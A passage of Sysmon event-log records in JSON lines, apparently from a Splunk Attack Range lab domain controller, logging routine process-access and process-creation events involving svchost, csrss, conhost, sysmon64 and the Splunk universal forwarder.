AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.948\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.948","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6110,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.948\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.948","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6111,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.948\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.948","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6112,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.948\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-41EE-5F2D-0000-001087050900}\r\nTargetProcessId: 5012\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.948","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-41EE-5F2D-0000-001087050900}","TargetProcessId":"5012","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6113,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:39.088\r\nSourceProcessGUID: {90617006-41EE-5F2D-0000-001087050900}\r\nSourceProcessId: 5012\r\nSourceThreadId: 2956\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:39.088","SourceProcessGUID":"{90617006-41EE-5F2D-0000-001087050900}","SourceProcessId":"5012","SourceThreadId":"2956","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6114,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:39.730\r\nProcessGuid: {90617006-41EF-5F2D-0000-001056070900}\r\nProcessId: 3696\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:58:39.730","ProcessGuid":"{90617006-41EF-5F2D-0000-001056070900}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6115,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:39.729\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-41EF-5F2D-0000-001056070900}\r\nTargetProcessId: 3696\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:39.729","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-41EF-5F2D-0000-001056070900}","TargetProcessId":"3696","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6116,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:39.729\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-41EF-5F2D-0000-001056070900}\r\nTargetProcessId: 3696\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:39.729","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-41EF-5F2D-0000-001056070900}","TargetProcessId":"3696","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6117,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:39.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:39.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6118,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:39.729\r\nSourceProcessGUID: 